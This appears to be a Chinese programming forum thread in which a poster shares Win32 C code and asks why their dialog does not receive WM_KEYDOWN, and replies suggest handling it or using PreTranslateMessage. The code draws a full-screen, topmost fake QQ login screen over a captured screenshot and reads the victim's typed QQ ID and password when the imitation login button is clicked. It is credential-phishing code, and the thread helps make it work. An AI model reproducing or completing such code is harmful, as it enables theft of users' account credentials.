//对话框回调函数
LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
BOOL bRet;
HDC dc, MemDc;
POINT point;
switch (message)
{
case WM_INITDIALOG:
bRet = CreateQQItem(hDlg); //为对话框创建两个文本框来获取用户的输入
//设置对话框占满整个屏幕,并保持最前
bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW);
return TRUE; case WM_ERASEBKGND:
//贴上截取的图片来刷新背景
dc = (HDC) wParam;
MemDc = CreateCompatibleDC(dc);
SelectObject(MemDc, g_pBitmap);
BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY);
DeleteDC(MemDc);
return true; case WM_LBUTTONDOWN:
point.x=LOWORD(lParam);
point.y=HIWORD(lParam);
//判断用户是否点击贴图上QQ登陆的按钮
if(PtInRect(&g_qqLogin, point) == true)
{
//获取用户的输入
GetWindowText(QQPASS, qqpass, 64); GetWindowText(QQID, qqid, 64);
// MessageBox(hDlg, qqpass, qqid, MB_OK);
DeleteObject(myfont);
EndDialog(hDlg, 0);
}
break;
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
}
return FALSE;
}
//加 case WM_KEYDOWN
但接收不了键盘消息
LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
BOOL bRet;
HDC dc, MemDc;
POINT point;
switch (message)
{
case WM_INITDIALOG:
bRet = CreateQQItem(hDlg); //为对话框创建两个文本框来获取用户的输入
//设置对话框占满整个屏幕,并保持最前
bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW);
return TRUE; case WM_ERASEBKGND:
//贴上截取的图片来刷新背景
dc = (HDC) wParam;
MemDc = CreateCompatibleDC(dc);
SelectObject(MemDc, g_pBitmap);
BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY);
DeleteDC(MemDc);
return true; case WM_LBUTTONDOWN:
point.x=LOWORD(lParam);
point.y=HIWORD(lParam);
//判断用户是否点击贴图上QQ登陆的按钮
if(PtInRect(&g_qqLogin, point) == true)
{
//获取用户的输入
GetWindowText(QQPASS, qqpass, 64); GetWindowText(QQID, qqid, 64);
// MessageBox(hDlg, qqpass, qqid, MB_OK);
DeleteObject(myfont);
EndDialog(hDlg, 0);
}
break;
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
}
return FALSE;
}
//加 case WM_KEYDOWN
但接收不了键盘消息
解决方案 »
- 编译错误!(苦恼)
- 有关directshow中dmo使用的问题
- 请问如何将mdb的数据转为EXCEL?????????????
- 请问怎样监测https服务
- 100分求解================怎么关掉一个动态创建的控件================(内有连接,up有分)
- 我想在tab control上画图,可是刚开始的时候tab control把图盖住拉。非要重画一篇才可以。
- 打印高手请关注!
- 有关ADO数据库的问题。想同时打开两个表进行操作,怎么实现?
- 俺的组件调用就出毛病,不知啥原因,大家给看看。代码在里面。
- 什么是DDK?
- 请求追求完美的大虾看看wraning的咚咚
- Active控件中能否再嵌入其它Activex控件
case WM_KEYDOWN
if(wParam==VK_RETURN)
//Do sth
break;
{
if(pMsg -> message == WM_KEYDOWN)
{
if(pMsg -> wParam == VK_RETURN)
{
……;
}
if(pMsg->wParam==VK_ESCAPE)
……;
}
return CDialog::PreTranslateMessage(pMsg);
}